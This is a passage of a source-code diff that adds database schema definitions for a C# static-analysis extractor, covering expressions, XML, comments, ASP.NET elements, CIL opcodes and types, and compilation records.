@bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; + +#keyset[parameterizable, index] +cil_parameter( + unique int id: @cil_parameter, + int parameterizable: @cil_parameterizable ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/semmlecode.csharp.dbscheme b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..efcd69e086a --- /dev/null +++ b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/semmlecode.csharp.dbscheme @@ -0,0 +1,1959 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); 